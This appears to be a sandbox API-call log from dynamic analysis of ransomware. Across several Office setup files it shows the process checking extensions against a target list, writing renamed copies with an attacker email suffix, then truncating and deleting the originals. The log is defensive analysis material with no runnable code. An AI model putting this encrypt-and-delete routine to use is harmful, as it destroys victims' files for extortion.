	[0099.992] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0099.992] lstrlenW (lpString=".ppt") returned 4
	[0099.992] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.992] lstrlenW (lpString=".zip") returned 4
	[0099.992] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.992] lstrlenW (lpString=".rar") returned 4
	[0099.992] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString=".bz2") returned 4
	[0099.992] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString=".7z") returned 3
	[0099.992] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.992] lstrlenW (lpString=".dbf") returned 4
	[0099.992] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.992] lstrlenW (lpString=".1cd") returned 4
	[0099.992] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.992] lstrlenW (lpString=".jpg") returned 4
	[0099.992] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.993] lstrcmpiW (lpString1=".CHM", lpString2=".4k") returned 1
	[0099.993] lstrlenW (lpString="PSS10R.CHM") returned 10
	[0099.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.997] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27195) returned 1
	[0099.997] CloseHandle (hObject=0x1d0) returned 1
	[0099.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20
	[0099.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.997] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.997] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.998] GetLastError () returned 0x0
	[0099.998] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x6a3b, lpOverlapped=0x0) returned 1
	[0100.038] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6a40, lpOverlapped=0x0) returned 1
	[0100.040] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.041] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0100.041] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.041] CloseHandle (hObject=0x1e0) returned 1
	[0100.041] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.042] SetEndOfFile (hFile=0x1d0) returned 1
	[0100.043] CloseHandle (hObject=0x1d0) returned 1
	[0100.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1
	[0100.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.044] lstrlenW (lpString=".doc") returned 4
	[0100.044] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString=".docx") returned 5
	[0100.044] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1
	[0100.044] lstrlenW (lpString=".pdf") returned 4
	[0100.044] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString=".xls") returned 4
	[0100.044] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString=".xlsx") returned 5
	[0100.044] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1
	[0100.044] lstrlenW (lpString=".ppt") returned 4
	[0100.044] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.044] lstrlenW (lpString=".zip") returned 4
	[0100.044] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString=".rar") returned 4
	[0100.044] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString=".bz2") returned 4
	[0100.044] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.044] lstrlenW (lpString=".7z") returned 3
	[0100.044] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.044] lstrlenW (lpString=".dbf") returned 4
	[0100.044] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.044] lstrlenW (lpString=".1cd") returned 4
	[0100.044] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.045] lstrlenW (lpString=".jpg") returned 4
	[0100.045] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.045] lstrlenW (lpString=".doc") returned 4
	[0100.045] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString=".docx") returned 5
	[0100.045] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1
	[0100.045] lstrlenW (lpString=".pdf") returned 4
	[0100.045] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString=".xls") returned 4
	[0100.045] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString=".xlsx") returned 5
	[0100.045] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1
	[0100.045] lstrlenW (lpString=".ppt") returned 4
	[0100.045] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.045] lstrlenW (lpString=".zip") returned 4
	[0100.045] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString=".rar") returned 4
	[0100.045] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.045] lstrlenW (lpString=".bz2") returned 4
	[0100.045] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.045] lstrlenW (lpString=".7z") returned 3
	[0100.045] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.046] lstrlenW (lpString=".dbf") returned 4
	[0100.046] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.046] lstrlenW (lpString=".1cd") returned 4
	[0100.046] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0100.046] lstrlenW (lpString=".jpg") returned 4
	[0100.046] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.046] lstrcmpiW (lpString1=".CHM", lpString2=".4k") returned 1
	[0100.046] lstrlenW (lpString="SETUP.CHM") returned 9
	[0100.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.085] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=67190) returned 1
	[0100.085] CloseHandle (hObject=0x1d0) returned 1
	[0100.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20
	[0100.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.085] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.085] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0100.086] GetLastError () returned 0x0
	[0100.086] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x10676, lpOverlapped=0x0) returned 1
	[0100.149] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x10680, lpOverlapped=0x0) returned 1
	[0100.157] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.157] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.157] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.157] CloseHandle (hObject=0x1e0) returned 1
	[0100.157] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.158] SetEndOfFile (hFile=0x1d0) returned 1
	[0100.159] CloseHandle (hObject=0x1d0) returned 1
	[0100.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1
	[0100.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.160] lstrlenW (lpString=".doc") returned 4
	[0100.160] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString=".docx") returned 5
	[0100.160] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1
	[0100.160] lstrlenW (lpString=".pdf") returned 4
	[0100.160] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString=".xls") returned 4
	[0100.160] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString=".xlsx") returned 5
	[0100.160] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1
	[0100.160] lstrlenW (lpString=".ppt") returned 4
	[0100.160] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.160] lstrlenW (lpString=".zip") returned 4
	[0100.160] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString=".rar") returned 4
	[0100.160] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString=".bz2") returned 4
	[0100.160] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.160] lstrlenW (lpString=".7z") returned 3
	[0100.160] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.160] lstrlenW (lpString=".dbf") returned 4
	[0100.160] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.160] lstrlenW (lpString=".1cd") returned 4
	[0100.160] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.161] lstrlenW (lpString=".jpg") returned 4
	[0100.161] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.161] lstrlenW (lpString=".doc") returned 4
	[0100.161] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString=".docx") returned 5
	[0100.161] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1
	[0100.161] lstrlenW (lpString=".pdf") returned 4
	[0100.161] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString=".xls") returned 4
	[0100.161] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString=".xlsx") returned 5
	[0100.161] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1
	[0100.161] lstrlenW (lpString=".ppt") returned 4
	[0100.161] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.161] lstrlenW (lpString=".zip") returned 4
	[0100.161] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString=".rar") returned 4
	[0100.161] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.161] lstrlenW (lpString=".bz2") returned 4
	[0100.161] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.161] lstrlenW (lpString=".7z") returned 3
	[0100.161] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.161] lstrlenW (lpString=".dbf") returned 4
	[0100.162] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.162] lstrlenW (lpString=".1cd") returned 4
	[0100.162] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102
	[0100.162] lstrlenW (lpString=".jpg") returned 4
	[0100.162] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.162] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.162] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.162] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2362) returned 1
	[0100.162] CloseHandle (hObject=0x1d0) returned 1
	[0100.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20
	[0100.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.163] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.163] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0100.163] GetLastError () returned 0x0
	[0100.163] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x93a, lpOverlapped=0x0) returned 1
	[0100.201] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x940, lpOverlapped=0x0) returned 1
	[0100.202] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.202] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.203] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.203] CloseHandle (hObject=0x1e0) returned 1
	[0100.203] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.203] SetEndOfFile (hFile=0x1d0) returned 1
	[0100.204] CloseHandle (hObject=0x1d0) returned 1
	[0100.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.205] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1
	[0100.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.205] lstrlenW (lpString=".doc") returned 4
	[0100.205] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.205] lstrlenW (lpString=".docx") returned 5
	[0100.205] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.205] lstrlenW (lpString=".pdf") returned 4
	[0100.206] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString=".xls") returned 4
	[0100.206] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString=".xlsx") returned 5
	[0100.206] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.206] lstrlenW (lpString=".ppt") returned 4
	[0100.206] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString=".zip") returned 4
	[0100.206] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.206] lstrlenW (lpString=".rar") returned 4
	[0100.206] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString=".bz2") returned 4
